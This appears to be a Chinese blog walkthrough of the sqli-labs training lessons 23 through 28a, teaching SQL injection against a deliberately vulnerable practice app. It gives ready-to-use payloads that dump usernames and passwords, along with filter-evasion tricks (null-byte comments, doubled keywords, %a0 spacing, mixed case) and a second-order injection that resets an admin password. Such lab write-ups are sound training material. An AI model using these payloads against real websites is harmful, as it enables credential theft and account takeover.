sqli-labs Less23-Less28a

Lesson 23 GET - Error Based - strip comments (基于错误的,过滤注释的GET)

(1)先测试

    ?id=1

    SELECT * FROM users WHERE id='1' LIMIT 0,1

   显示出用户名和密码

(2)加上一个单引号进行测试

   ?id=1'

   SELECT * FROM users WHERE id='1'' LIMIT 0,1

   出现了报错

  加上注释符进行注释看会不会出错

  ?id=1'--+

  SELECT * FROM users WHERE id='1' ' LIMIT 0,1

   还是出现了报错,查看sql语句发现并没有把新加的单引号注释掉

(3)这里涉及到代码审计的知识,打开源代码

   发现这里将#--符号都进行了替换,替换成了空。所以我们输入--+进行注释是无效的

(4)第一种解决方法

  这里有一个只针对于sqli-lab使用的一个特殊符号 ;%00

  ?id=1' ;%00

  SELECT * FROM users WHERE id='1' ;' LIMIT 0,1

   登录成功

  之后使用order by语句判断列数,列数为3

  ?id=1' order by 3;%00

 

  接下来就是老操作,使用union select语句进行联合查询(记得id处加-

  ?id=-1' union select 1,2,3;%00

  用户名和密码处显示出23

  接下来查库,查表,查字段,查字段的值

  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;%00

  ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';%00

  ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';%00

  ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00

(5)第二种方法(报错注入 updatexml语句)

  ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1

   报出数据库名字,剩下的操作就是替换查询语句即可

  Lesson 23结束

Lesson 24 Second Degree injections “Real treat” - Store injections(二次注入)

(1)先登录一下试试(用户名:admin 密码:admin

 

   登录成功

(2)创建一个新用户(用户名:admin’# 密码:123456

 

 

(3)登录一下新注册的账号admin’#

   登录成功

(4)给新注册的账号换密码(用户名:admin’# 密码:12345

 

   更改成功

(5)尝试登录账号admin(密码是刚刚给admin’#账号改的密码12345,不是之前的admin

 

   登录成功

(6)解析:

  查看源代码

  设置新用户,名字为admin’#,这个单引号形成了闭合,后面的#注释掉原有的单引号和后面的信息。所以改这个新用户的密码等于改原有admin用户的密码。所以新改的密码能登录之前的用户,形成二次注入。

  Lesson 24结束

Lesson 25 Trick with OR & AND(过滤了orand)

(1)先测试

   ?id=1

    SELECT * FROM users WHERE id='1' LIMIT 0,1

   显示正常

  加上单引号(出错)

  添加注释符(恢复正常)

(2)使用order by语句

  ?id=1' order by 2--+

  SELECT * FROM users WHERE id='1' der by 2-- ' LIMIT 0,1

   显示语句有错误,发现本来是order by但是语句中显示的是der by,说明or被过滤掉了。

   检查源代码发现在这里对orand不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

(3)我们尝试一下双写,也就是OorRder by,进行绕过

  ?id=1' OorRder by 2--+

   这时发现执行成功,sql语句中也显示完整

(4)使用union select语句进行联合查询(记得id处加上-

  ?id=-1' union select 1,2,3--+

   回显位置成功

(5)使用基础查询语句进行查询(查库)

  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

  SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from infmation_schema.schemata-- ' LIMIT 0,1

   这里进行了报错,查看sql语句发现information中的or也被进行了替换,一定要注意,这里也进行双写

  ?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

   成功(一定要注意,以下也均双写)

(6)查表

  ?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

(7)查字段

  ?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+

(8)查字段的值(这里注意password中也含or,记得双写)

  ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

(9)这里也可以使用updatexml()报错查询进行查询

  ?id=-1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1--+

   查询出来信息,这里最好不用group_concat(),因为会显示不完整。最好使用limit语句进行遍历。

  Lesson 25结束

Lesson 25a Trick with OR & AND Blind(过滤了orand的盲注)

(1)先测试

   ?id=1

    SELECT * FROM users WHERE id=1 LIMIT 0,1

   显示正常(这里1没有单引号进行包括)

   查看源代码,发现也对orand不区分大小写进行了替换,替换成空格。(将or换成大写也一样会被替换)

(2)因为这里并没有对id进行包括,直接用order by进行测试(记得测试)

  ?id=1 oorrder by 3--+

(3)使用union select语句进行联合查询(记得id处加上-

  ?id=-1 union select 1,2,3--+

   回显正常

(4)接下来操作和之前一样

    接下来的操作不再演示

  Lesson 25a结束

Lesson 26 (failed) Trick with comments and space(过滤了注释和空格的注入)

(1)先测试

   ?id=1

   SELECT * FROM users WHERE id='1' LIMIT 0,1

   显示正常

  根据sql语句,加上单引号和注释符

  ?id=1'--+

  SELECT * FROM users WHERE id='1'' LIMIT 0,1

   这里出现了报错,sql语句中并没有显示注释符--

  查看一下源代码

   发现这里有很多注释符包括or,空格和and皆被替换成空

(2)这里可以使用一个特殊的注释符 ;%00 进行绕过

   ?id=1' ;%00

   SELECT * FROM users WHERE id='1';' LIMIT 0,1

(3)这里先使用报错注入方法(updatexml()or||进行替换使用) 记得后面要进行闭合

  ?id=1'  ||  updatexml(1,concat(0x7e, ( database( ) )),1) ;%00

  SELECT * FROM users WHERE id='1'||updatexml(1,concat(0x7e,(database())),1);' LIMIT 0,1

  或者

 

   这里显示出信息

  如果存在空格,可将其内容用括号包裹

(4)继续

 

  显示出信息表信息

  剩下的太长了,不再进行展示

  Lesson 26结束

Lesson 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了注释和空格的盲注)

(1)先测试

  ?id=1

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

   显示成功,id值被单引号和单括号包裹

  加上单引号和一个括号,并注释掉。(再次尝试寻常注释符不管用,还是用;%00

  ?id=1');%00

   返回成功

  也可使用这个语句

 

  查看一下源代码

   这里有很多注释符包括or,空格和and皆被替换成空

  看看与26关有什么不同

  26

  26a

   两者不同处在于,26关会返回报错信息,而26a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

(2)使用order by语句进行测试,注意双写和空格替换

  ?id=1') %a0 oorrder %a0 by %a0 3 ;%00

   成功,还是3

(3)使用union select进行联合查询(记得加-

  ?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00

  或者

 

   回显出位置

  接下来继续按照之前那样就可以了

  Lesson 26a结束

Lesson 27 GET - Error Based - All your UNION & SELECT belong to us(过滤了unionselect的注入)

(1)先测试

  ?id=1

  SELECT * FROM users WHERE id='1' LIMIT 0,1

   显示正常,id值由单引号包裹

  加一个单引号和注释符

  ?id=1' ;%00

  查看源代码

   过滤替换掉更多,这一关算上之前的又替换了unionselectSelectUnionUNIONSELECT。(有大小写)

2)使用order by语句进行测试,注意双写和空格替换

 

   成功,还是3

3)使用union select进行联合查询(记得破坏id值,注意混合大小写)

  ?id=1111' %a0 uNion %a0 sElect %a0 1,2,3 ;%00

   回显成功

  接下来还是常规操作

  这里也可以使用报错注入,不再展示

  Lesson 27结束

Lesson 27a GET - Blind Based - All your UNION & SELECT belong to us(过滤了unionselect的盲注)

(1)先测试

  ?id=1

  SELECT * FROM users WHERE id="1" LIMIT 0,1

   显示正常,id值被双引号包裹(若没有sql语句如何判断,输入一个符号若出现错误说明有可能有注入,再加上注释符就无错了,说明就是确实有注入

  加上双引号和注释符

  ?id=1" ;%00

  或:

 

  查看源代码看与27关有何不同

  27

  27a

   两者不同处在于,27关会返回报错信息,而27a把这句话注释掉了,说明不会显示报错信息,也就说明无法使用报错注入

  这时使用联合查询即可

(2)使用union select进行联合查询(记得破坏id值,注意混合大小写)

  ?id=1111" %a0 uNion %a0 sElect %a0 1,2,3 ;%00

   回显出位置

(3)接下来的操作如常,只展示一个

  ?id=1111" %a0 uNion %a0 sElect %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00

  接下来不再展示

  Lesson 27a结束

Lesson 28 GET - Error Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于错误的,有括号的单引号字符型,过滤了unionselect等的注入)

(1)先测试

  ?id=1

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

   显示正常,id值被单引号和括号包裹

  加上单引号和单括号,加上注释符

  ?id=1') ;%00

  查看源代码

   其中,注释符被替换,UNIONSELECT被替换

  无法使用报错注入

(2)使用union select语句进行联合查询(注意空格替换,大小写)

  ?id=11111') %a0 union %a0 select %a0 1,2,3;%00

  或者:

 

  回显出位置

  接下来操作跟之前一样

  Lesson 28结束

Lesson 28a GET - Bind Based - All your UNION & SELECT belong to us String-Single quote with parenthesis (基于盲注的,有括号的单引号字符型,过滤了unionselect等的注入)

(1)先测试

  ?id=1

  SELECT * FROM users WHERE id=('1') LIMIT 0,1

   显示正常,id值被单引号和括号包裹

  加上单引号和单括号,加上注释符

  ?id=1') --+

  这次加上寻常的注释符也可以了

  查看源代码

   这次这些替换语句都被注释掉了,只留下了unionselect被替换

  也不能进行报错注入

(2)使用order by语句进行查询

   成功,仍为3

(3)使用union select进行联合查询

  ?id=1') union select 1,2,3--+

  出错了,看一下回显的提示,发现并没有union select,它们被替换了

  尝试混合大小写

  ?id=1') uNion sElect 1,2,3--+

   还是不显示

  再加上%a0试试

  ?id=1111') %a0 uNion %a0 sElect 1,2,3--+

   回显成功

  接下来常规操作,不再展示

  Lesson 28a结束

原文地址:https://www.cnblogs.com/zhaihuijie/p/12530717.html